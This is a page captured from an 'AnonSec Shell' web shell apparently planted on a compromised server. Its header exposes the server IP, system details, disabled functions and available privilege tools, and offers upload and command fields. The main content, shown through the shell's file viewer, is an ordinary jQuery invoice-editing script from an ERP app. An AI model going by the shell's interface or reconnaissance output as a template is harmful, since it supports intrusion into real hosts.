AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/erp/ui/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/erp/ui/lib/edit_invoice_v2n.js
$(document).ready(function () {    

    $('#notes').redactor(
        {
            minHeight: 200, // pixels
            plugins: ['fontcolor']
        }
    );


    var _url = $("#_url").val();

    var $invoice_items = $('#invoice_items');


    $('.item_name').redactor({paragraphize: false,
        replaceDivs: false,
        linebreaks: true});

    $invoice_items.on('change', 'select', function(){
        //   $('#taxtotal').html('dd');
        var taxrate = $('#stax').val().replace(',', '.');

        // $(this).val(taxrate);
    });



    var item_remove = $('#item-remove');
    item_remove.hide();




    
        function update_address(){
        var adrs = $("#address");
        adrs.html("");
        var _url = $("#_url").val();
        var cid = $('#cid').val();
        if(cid != ''){
            $.post(_url + 'contacts/render-address/', {
                cid: cid

            })
                .done(function (data) {
                   
                    if(data.trim()===""){
                        $("#spam-edit-client").removeClass('hide');
                    }else{
                      
                        adrs.html(data);
                        //remove a classe, para garantir que possui somente uma classe hide no spam
                        $("#spam-edit-client").removeClass('hide');
                        $("#spam-edit-client").addClass('hide');
                    }
                });
        }

    }
   
/////////////////////////EDIT CONTACT//////////////////
//////aciona o modal para adicionar o contato, evento de abertura do modal
    var $modal = $('#ajax-modal');
    $("#contact_edit").click(function(e){
        e.preventDefault();
        // create the backdrop and wait for next modal to be triggered
        $('body').modalmanager('loading');
        setTimeout(function () {
            $modal.load(_url + 'contacts/modal_edit_contact_address/', {cid:$("#cid").val()}, function () {
                $modal.modal();               
                initModalEditContact();
            });
        }, 1000);
    });
    //////////////////////Acao de Salvar do Modal////////////////////////////
        $modal.on('click', '#modal_edit_address_contact_submit', function(e){
        e.preventDefault();
       // $('#ibox_form').block({message: block_msg});
        var _url = $("#_url").val();
        $.post(_url + 'contacts/edit-address-post/', $("#modal_edit_address_rform").serialize())
            .done(function (data) {
                if ($.isNumeric(data)) {
                    //esconde a modal, e recarrega os valores dos selects, que podem ter sido adicionados
                    $modal.modal('hide');
                    update_address();
                } else {
                    //$('#ibox_form').unblock();
                    $("#modal_edit_address_emsgbody").html(data);
                    $("#modal_edit_address_emsg").show("slow");
                    document.location.href = "#modal_rform"; 
                    
                }
        });
    });
    
    
function loadContacts(select){
    //carrega os segmentos
    $.getJSON($("#_url").val()+'contacts/ajax-list-group',function (j) {
        options = '<option value="">' +$('#_lan_select_contact').val(); + '</option>';
        for (var i = 0; i < j.length; i++) {
            options += '<option value="' + j[i].id + '">' + j[i].name_email + '</option>';
        }
        $('#cid').html(options);
        if(select.length>0)
            $('#cid').select2("val",select);
    });
}
    loadContacts($('#contact_id_selecionado').val());
    update_address();
    /////////////////////////aTÉ AQUI///////////////////////////////////////
    

    
    $('#cid').select2({
        theme: "bootstrap",
        language: {
            noResults: function () {
                return $("#_lan_no_results_found").val();
            }
        }
    })
        .on("change", function(e) {
            // mostly used event, fired to the original element when the value changes
            // log("change val=" + e.val);
            //  alert(e.val);

            update_address();
        });



    item_remove.on('click', function(){
        var val = $('#invoice_items tr.info .lvtotal').val().replace(curr_code+" ", "");
        var idDel = $('#invoice_items tr.info .idItenBusc').val();
        $("#invoice_items tr.info").fadeOut(300, function(){
            $(this).remove();
            //lpillon 20/01/2017
            subTotalGeral = calculaValor(subTotalGeral, val, "-", 2);
            retornaDesconto();
            $('#sub_total').html(retrataValor(subTotalGeral));
            $('#total').html(retrataValor(totalFinal));
            ids = idsItnsSlcd.split(',');
            novoIds = "";
            ids.forEach(function(val){
                if(val != idDel)
                    (novoIds == "") ? novoIds = val : novoIds += ","+val;

            });
            idsItnsSlcd = novoIds;
            item_remove.hide();
        });

    });


    var $modal = $('#ajax-modal');



    idsItnsSlcd = "";
    $('#item-add').on('click', function(){

        // create the backdrop and wait for next modal to be triggered
        $('body').modalmanager('loading');

        $modal.load( _url + 'ps/modal-list/', 'notin='+idsItnsSlcd+'', function(){
            $modal.modal();
                  $('#items_table').DataTable( {
                    "paging":   true,
                    "ordering": true,
                    "info":     false,
                    "filter":   true,
                    "language":{
                        "url": app_url+"/ui/lib/dataTables/"+$("#_lan").val()+".json"
                    }
                });
                //coloca os itens para selecnionar a linha toda 
                $('#items_table').on('click', 'tr' , function(){
                   if($(this).find("input[type=checkbox]").prop("checked")==true){
                        $(this).find("input[type=checkbox]").prop("checked",false);
                        $(this).removeClass('info');
                   }else{
                        $(this).find("input[type=checkbox]").prop("checked",true);
                        $(this).addClass('info');
                   }

               });
        });

    });



    /*
     / @since v 2.0
     */




    var rowNum = 0;

    // $('#blank-add').on('click', function(){
    //     rowNum++;
    //     $("#invoice_items").find('tbody')
    //         .append(
    //         '<tr> <td></td> <td><textarea class="form-control item_name" name="desc[]" rows="3" id="i_' + rowNum + '"></textarea></td> <td><input type="text" class="form-control qty" value="" name="qty[]"></td> <td><input type="text" class="form-control item_price" name="amount[]" value=""></td> <td class="ltotal"><input type="text" class="form-control lvtotal" readonly value=""></td> <!-- <td> <select class="form-control taxed" name="taxed[]"> <option value="Yes">Yes</option> <option value="No" selected>No</option></select></td> --></tr>'
    //     );

    //     $('#i_' + rowNum).redactor({paragraphize: false,
    //         replaceDivs: false,
    //         linebreaks: true});

    // });


    $invoice_items.on('click', '.itm_nm_ftura', function(){
        $("tr").removeClass("info");
        $(this).closest('tr').addClass("info");
        item_remove.show();
    });


    //lpillon 27/01/2017
    var subTotalGeral = "0.00";
    var totalFinal = "0.00";
    var qtdAnterior = ["1.000"];
    var qtdCorrente = 1;
    var validaDecimal;

    $invoice_items.on('blur', '.qtyl', function(){

        if($('.qtyVal'+this.id).val() == "")
            return;
        var unit = $("#unit_itm"+this.id).val();
        var qtd_itn = $('.qtyVal'+this.id).val().replace(" "+unit, "");
        $('#qtdBe'+this.id).val(calculaValor(qtd_itn, "1", "*", 3));
        var preco_itn = $('.item_price'+this.id).val().replace(curr_code+" ", "");
        var valorTotal = calculaValor(qtd_itn, preco_itn, "*", 3);
        $('.lvtotal'+this.id).val(retrataValor(valorTotal));
        var id = parseInt(this.id) - 1;
        (qtdAnterior[id]) ? qtdAnterior[id] = qtdAnterior[id] : qtdAnterior[id] = "1.000";
        var valorAnterior = calculaValor(qtdAnterior[id], preco_itn, "*", 3);
        var subTotalCorrente = "0.000";
        subTotalCorrente = calculaValor(subTotalGeral, valorAnterior, "-", 3)
        subTotalGeral = calculaValor(subTotalCorrente, valorTotal, "+", 3);
        $('#sub_total').html(retrataValor(subTotalGeral));
        $("#subTotal").val(retrataValor(subTotalGeral));
        $('.am').trigger('blur');
        qtdAnterior[id] = qtd_itn;
        retornaDesconto();
    });

    function retornaDesconto(){
        var discount_amount = $('#discount_amount').val();
        var valorDesconto;
        if(discount_amount == ""){
            $('#discount_amount_total').html(retrataValor("0.00"));
            $("#desTotal").val(retrataValor("0.00"));
            totalFinal = subTotalGeral;
            retornaImposto();
            return;
        }
        discount_amount = discount_amount.replace(".", "");
        discount_amount = discount_amount.replace(",", "");       
        if(discount_amount.length <= 2)
            discount_amount = discount_amount+".00";
        else
            discount_amount = discount_amount.substr(0, discount_amount.length-2)+"."+discount_amount.substr(discount_amount.length-2);
        discount_type = $('#discount_type').val();
        if(discount_type == 'p'){
            $("#coin_desc").hide();
            totalFinal = calculaValor(subTotalGeral, calculaValor(calculaValor(discount_amount, subTotalGeral, "*", 2), "100.00", "/", 2), "-", 2);
            $('#discount_amount_total').html(discount_amount+" %");
            valorDesconto = calculaValor(calculaValor(discount_amount, subTotalGeral, "*", 2), "100.00", "/", 2);
        }else if(discount_type == 'f'){
            totalFinal = calculaValor(subTotalGeral, discount_amount, "-", 2);
            valorDesconto = totalFinal;
            $('#discount_amount_total').html(retrataValor(discount_amount));
            $("#coin_desc").show();
        }
        $('#discount_amount_total').attr("title", retrataValor(valorDesconto));
        $("#desTotal").val(retrataValor(valorDesconto));
        $("#pctTotal").val(discount_amount);
        retornaImposto();
    }

    $('#tid').on('change', function(){
        var valor = $("#tx_"+$(this).val()).val();
        if(isNaN(parseFloat(valor)))
            valor = "0.00";
        $("#stax").val(parseFloat(valor).toFixed(2));
        $("#tax_amount").html(parseFloat(valor).toFixed(2));
        retornaDesconto();
    });

    function retornaImposto(){
        if($("#stax").val() != "0.00"){
            totalFinal = calculaValor(calculaValor(calculaValor($("#stax").val(), totalFinal, "*", 2), "100.00", "/", 2),totalFinal, "+", 2);
        }
        $('#tax_amount').attr("title", retrataValor(calculaValor(calculaValor($("#stax").val(), totalFinal, "*", 2), "100.00", "/", 2)));
        $('#impTotal').val(retrataValor(calculaValor(calculaValor($("#stax").val(), totalFinal, "*", 2), "100.00", "/", 2)));
       
        
          //adiciona o frete
        var freight=$("#freight").val().replace(curr_code, "").replace(' ',"");
        if (freight.length === 0) {
            freight='0.00';
        } 
        totalFinal =calculaValor(freight, totalFinal, "+", 2);
        
        $('#total').html(retrataValor(totalFinal));
        $("#totTotal").val(retrataValor(totalFinal));
    }

    $('#freight').on('blur', function(){
        retornaDesconto();
    });

    //lpillon - 23/01/2017
    var ind_decimal = $("#_dec_point").val();
    var ind_mil = $("#_mil_point").val();
    var curr_code = $("#_curr_code").val();
    
    //Padronizar valor para JS tirando a mask.
    function trataValor(val, qtdFix){

        if((val.indexOf('.') <=0)&&(val.indexOf(',') <=0)){
            if(qtdFix == 3)
                val = val+''+'.000';
            else
                val = val+''+'.00';
        }

        var valor = val.replace(",", "");
        valor = valor.replace(".", "");

        valor = valor.substr(0, valor.length-qtdFix) +'.'+valor.substr(valor.length-qtdFix);

        return valor;
    }

    
    function retrataValor(val){
        var valor = val.replace(".", "");
        var valorDecimal = ind_decimal+''+valor.substr(valor.length-2);
        var valorCenMil = valor.substr(0, valor.length-2);
        var primCasa = "";
        var segCasa = "";
        var terCasa = "";
        var quaCasa = "";
        var quiCasa = "";
        var valorFim;
        var tamnh = valorCenMil.length;
        if(tamnh <=3){
            valorFim = valorCenMil+valorDecimal;
        }else{
            if(tamnh <= 6){
                var primCasa = valorCenMil.substr(tamnh-3, 3);
                var segCasa = valorCenMil.substr(0, tamnh-3);
                valorFim = segCasa+ind_mil+primCasa+valorDecimal;
            }else if(tamnh <= 9){
                var primCasa = valorCenMil.substr(tamnh-3, 3);
                var segCasa = valorCenMil.substr(tamnh-6, 3);
                var terCasa = valorCenMil.substr(0, tamnh-6);
                valorFim = terCasa+ind_mil+segCasa+ind_mil+primCasa+valorDecimal;
            }else if(tamnh <= 12){
                var primCasa = valorCenMil.substr(tamnh-3, 3);
                var segCasa = valorCenMil.substr(tamnh-6, 3);
                var terCasa = valorCenMil.substr(tamnh-9, 3);
                var quaCasa = valorCenMil.substr(0, tamnh-9);
                valorFim = quaCasa+ind_mil+terCasa+ind_mil+segCasa+ind_mil+primCasa+valorDecimal;
            }else if(tamnh <= 15){
                var primCasa = valorCenMil.substr(tamnh-3, 3);
                var segCasa = valorCenMil.substr(tamnh-6, 3);
                var terCasa = valorCenMil.substr(tamnh-9, 3);
                var quaCasa = valorCenMil.substr(tamnh-12, 3);
                var quiCasa = valorCenMil.substr(0, tamnh-12);
                valorFim = quiCasa+ind_mil+quaCasa+ind_mil+terCasa+ind_mil+segCasa+ind_mil+primCasa+valorDecimal;
            }else{
                return;
            }
        }
        return valorFim;
    }

    function calculaValor(val1, val2, op, qtdFxd){
        var valor1 = trataValor(val1, qtdFxd);
        var valor2 = trataValor(val2, qtdFxd);
        var valorFinal;
        switch(op){
            case "+":
              valorFinal = (parseFloat(valor1) + parseFloat(valor2)).toFixed(qtdFxd);
              break;
            case "-":
              valorFinal = (parseFloat(valor1) - parseFloat(valor2)).toFixed(qtdFxd);
              break;
            case "*":
              valorFinal = (parseFloat(valor1) * parseFloat(valor2)).toFixed(qtdFxd);
              break;
            case "/":
              valorFinal = (parseFloat(valor1) / parseFloat(valor2)).toFixed(qtdFxd);
              break;
        }
        return(valorFinal);
    }

    function admItens(item_id, item_price){

        var unit = $("#unit_itm"+item_id).val();
        var preco_itn = item_price.replace(curr_code+" ", "");
        (idsItnsSlcd == "") ? idsItnsSlcd += item_id : idsItnsSlcd += ","+item_id;
        subTotalGeral = calculaValor(subTotalGeral, preco_itn, "+", 3);
        $('#sub_total').html(retrataValor(subTotalGeral));
        $("#subTotal").val(retrataValor(subTotalGeral));
        retornaDesconto();

    }


    $modal.on('click', '.update', function(){
        var tableControl= document.getElementById('items_table');
        $modal.modal('loading');
        $modal.modal('loading');
        //$modal
        //    .modal('loading')
        //    .find('.modal-body')
        //    .prepend('<div class="alert alert-info fade in">' +
        //    'Updated!<button type="button" class="close" data-dismiss="alert">&times;</button>' +
        //    '</div>');


        //  input type="text" class="form-control item_name" name="desc[]" value="' + item_name + '">
        // var obj = new Array();

        var guardaItens = [];
        $('input:checkbox:checked', tableControl).each(function() {
            rowNum++;
             var item_code = $(this).closest('tr').find('td:eq(1)').text();
            
            var item_name = $(this).closest('tr').find('td:eq(3)').text();
            var item_price = $(this).closest('tr').find('td:eq(5)').text();
            var item_id = $(this).closest('tr').find('td:eq(6)').text();
            var item_unit = $(this).closest('tr').find('td:eq(7)').text();
            var item_sifr = $(this).closest('tr').find('td:eq(8)').text();
            var image = $(this).closest('tr').find('td:eq(9)').text();
            
            $(tableControl).find('tr_'+item_id).hide();
            
             $invoice_items.find('tbody')
                .append(
                '<tr class="itm_nm_ftura"><td class="middle"><input type="hidden" name="item_id[]" value="'+item_id+'" class="idItenBusc"><input class="itm_nm_ftura" type="hidden" value="'+item_sifr+'" id="unit_itm'+rowNum+'">' +  item_code + '</td><td><img width="100" style="max-height:100px" src="' +image+ '"/></td> <td class="middle"><input type="text" data-toggle="tooltip" data-placement="top" title="'+item_name+'" value="' + item_name + '" class="form-control itm_nm_ftura" id="i_' + rowNum + '" name="desc[]" readonly></td> <td class="middle"><input type="text" class="form-control qtyl qtyVal'+rowNum+'" value="1'+ind_decimal+'000" name="qty[]" id="'+rowNum+'"><input type="hidden" name="qtdBe[]" id="qtdBe'+rowNum+'" value="1'+ind_decimal+'000"></td> <td class="middle"><input type="text" class="form-control item_price'+rowNum+' am" name="amount[]" value="' + item_price + '" readonly></td> <td class="ltotal middle"><input type="text" class="form-control lvtotal lvtotal'+rowNum+' am" readonly value="' + item_price + '"></td></tr>'
            );
            $('[data-toggle="tooltip"]').tooltip();    

            $('.am').autoNumeric('init', {aSep: ind_mil, aDec: ind_decimal, mDec: 2, aSign: curr_code+' '});
            $('.am').trigger('blur');
            if(item_unit == 0)
                $('#'+rowNum+'').autoNumeric('init', {aSep: ind_mil, aDec: ind_decimal, mDec: 3, aSign: ' '+item_sifr, pSign: 's'});
            else
                $('#'+rowNum+'').autoNumeric('init', {aSep: ind_mil, aDec: ind_decimal, mDec: 0, aSign: ' '+item_sifr, pSign: 's'});
            
            admItens(item_id, item_price);

            // $('#i_' + rowNum).redactor({paragraphize: false,
            //     replaceDivs: false,
            //     linebreaks: true});
        });

        //  console.debug(obj); // Write it to the console
        //  calculateTotal();


        $modal.modal('hide');

    });

                    
     ///////////////////////////////////////////
//////aciona o modal para adicionar o contato, evento de abertura do modal
    var $modal = $('#ajax-modal');
    $("#contact_add").click(function(e){
        e.preventDefault();
        // create the backdrop and wait for next modal to be triggered
        $('body').modalmanager('loading');
        setTimeout(function () {
            $modal.load(_url + 'contacts/modal_add/', '', function () {
                $modal.modal();
                initModalAddContact();    
            
            });

        }, 1000);
    });
    //////////////////////Acao de Salvar do Modal////////////////////////////
        $modal.on('click', '#modal_contact_submit', function(e){
        e.preventDefault();
       // $('#ibox_form').block({message: block_msg});
        var _url = $("#_url").val();
        $.post(_url + 'contacts/add-post/', $("#modal_rform").serialize())
            .done(function (data) {
               var _url = $("#_url").val();
                if ($.isNumeric(data)) {
                    // location.reload();
//                    var is_recurring = $('#is_recurring').val();
//                    if(is_recurring == 'yes'){
//                        window.location = _url + 'invoices/add/recurring/' + data + '/';
//                    }
//                    else{
//                        window.location = _url + 'invoices/add/1/' + data + '/';
//                    }
                    $modal.modal('hide');
                    loadContacts('');
                } else {
                    //$('#ibox_form').unblock();
                    $("#modal_emsgbody").html(data);
                    $("#modal_emsg").show("slow");
                    document.location.href = "#modal_rform"; 
                }
        });
    });
    ////////////////////////////////////////////////////////////////
  

    $("#add_discount").click(function (e) {
        e.preventDefault();
        var s_discount_amount = $('#discount_amount');
        var c_discount = s_discount_amount.val();
        var c_discount_type = $('#discount_type').val();
        var p_checked = "";
        var f_checked = "";
        if( c_discount_type == "p" ){
            p_checked = 'checked="checked"';
        }else{
            f_checked = 'checked="checked"';
        }
        bootbox.dialog({
                title: $("#_lan_set_discount").val(),
                message: '<div class="row">  ' +
                '<div class="col-md-12"> ' +
                '<form class="form-horizontal"> ' +
                '<div class="form-group"> ' +
                '<label class="col-md-4 control-label" for="set_discount">' + $("#_lan_discount").val() +'</label> ' +
                '<div class="col-md-4"> ' +
                '<input id="set_discount" name="set_discount" type="text" class="form-control input-md" value="' + c_discount + '"> ' +
                '</div> ' +
                '</div> ' +
                '<div class="form-group"> ' +
                '<label class="col-md-4 control-label" for="set_discount_type">' + $("#_lan_discount_type").val() +'</label> ' +
                '<div class="col-md-4"> <div class="radio"> <label for="set_discount_type-0"> ' +
                '<input type="radio" name="set_discount_type" id="set_discount_type-0" value="p" ' + p_checked + '> ' +
                '' + $("#_lan_percentage").val() +' (%) </label> ' +
                '</div><div class="radio"> <label for="set_discount_type-1"> ' +
                '<input type="radio" name="set_discount_type" id="set_discount_type-1" value="f" ' + f_checked + '> ' + $("#_lan_fixed_amount").val() +' </label> ' +
                '</div> ' +
                '</div> </div>' +
                '</form> </div>  </div>',
                buttons: {
                    success: {
                        label: $("#_lan_btn_save").val(),
                        className: "btn-success",
                        callback: function () {
                            var discount_amount = $('#set_discount').val();
                            var discount_type = $("input[name='set_discount_type']:checked").val();
                            $('#discount_amount').val(discount_amount);
                            $('#discount_type').val(discount_type);
                            //calculateTotal();
                            //updateTax();
                            //updateTotal();
                            //lpillon - 21/01/2017
                            retornaDesconto();
                        }
                    }
                }
            }
        );
    });


    //var callbacks = $.Callbacks();
    //callbacks.add( updateTotal );
    //callbacks.fire(  alert('done') );


    $(".progress").hide();
    $("#emsg").hide();
    $("#submit").click(function (e) {
        e.preventDefault();
        $('#ibox_form').block({ message: null });
        var _url = $("#_url").val();
        $.post(_url + 'invoices/edit-post/', $('#invform').serialize(), function(data){

            var _url = $("#_url").val();
            if ($.isNumeric(data)) {

                window.location = _url + 'invoices/edit/' + data + '/';
            }
            else {
                $('#ibox_form').unblock();
                var body = $("html, body");
                body.animate({scrollTop:0}, '1000', 'swing');
                $("#emsgbody").html(data);
                $("#emsg").show("slow");
            }
        });
    });


    $("#save_n_close").click(function (e) {
        e.preventDefault();
        $('#ibox_form').block({ message: null });
        var _url = $("#_url").val();
        $.post(_url + 'invoices/edit-post/', $('#invform').serialize(), function(data){

            var _url = $("#_url").val();
            if ($.isNumeric(data)) {

                window.location = _url + 'invoices/view/' + data + '/';
            }
            else {
                $('#ibox_form').unblock();
                var body = $("html, body");
                body.animate({scrollTop:0}, '1000', 'swing');
                $("#emsgbody").html(data);
                $("#emsg").show("slow");
            }
        });
    });

    //function doStuff() {
    //    $('.amount').autoNumeric('init');
    //   // alert('dd');
    //}
    //setInterval(doStuff, 5000);

    $('#invoice_items tbody tr td input[class=\'valrs_edit\']').each(function(){

        var itens = $(this).val();
        itens = itens.split('_');

        $('.am').autoNumeric('init', {aSep: ind_mil, aDec: ind_decimal, mDec: 2, aSign: curr_code+' '});
        $('.am').trigger('blur');

        if(itens[5] == 0)
            $('#'+itens[0]+'').autoNumeric('init', {aSep: ind_mil, aDec: ind_decimal, mDec: 3, aSign: ' '+itens[4], pSign: 's'});
        else
            $('#'+itens[0]+'').autoNumeric('init', {aSep: ind_mil, aDec: ind_decimal, mDec: 0, aSign: ' '+itens[4], pSign: 's'});

        var qtd_itn = $('.qtyVal'+itens[0]).val().replace(" "+itens[4], "");
        $('#qtdBe'+itens[0]).val(calculaValor(qtd_itn, "1", "*", 3));

        admItens(itens[0], itens[1]);
        $("#stax").val(itens[2]);
        $("#tax_amount").html(itens[2]);
        qtdAnterior[itens[0]-1] = itens[3];
    });

    $('[data-toggle="tooltip"]').tooltip();

	// Exibe ou remove o campo de contas
	showAccountSelect();
        
    $('#freight_by').on('change', function(){
           if($(this).val()==='Free shipping'){
               $('.freight').hide();
           }else{
                $('.freight').show();
           }
    });
    if($('#freight_by').val()==='Free shipping'){
        $('.freight').hide();
    }else{
         $('.freight').show();
    }

});

function showAccountSelect() {
	var payment_type = $('#mtdopgto').val();

	if(10 == payment_type) {
		$('#account').parent().removeClass('collapse');
    }

	$('#mtdopgto').on('change', function(event) {
		var payment_type = $(this).val();

		// Exibe a conta quando a forma de pagamento for boleto
		if(10 == payment_type) {
			setTimeout(function() {
				$('#account').parent().removeClass('collapse');
			}, 400);
		}
		else {
			setTimeout(function() {
				$('#account').parent().addClass('collapse');
			}, 400);
		}
	});
}

Anon7 - 2022
AnonSec Team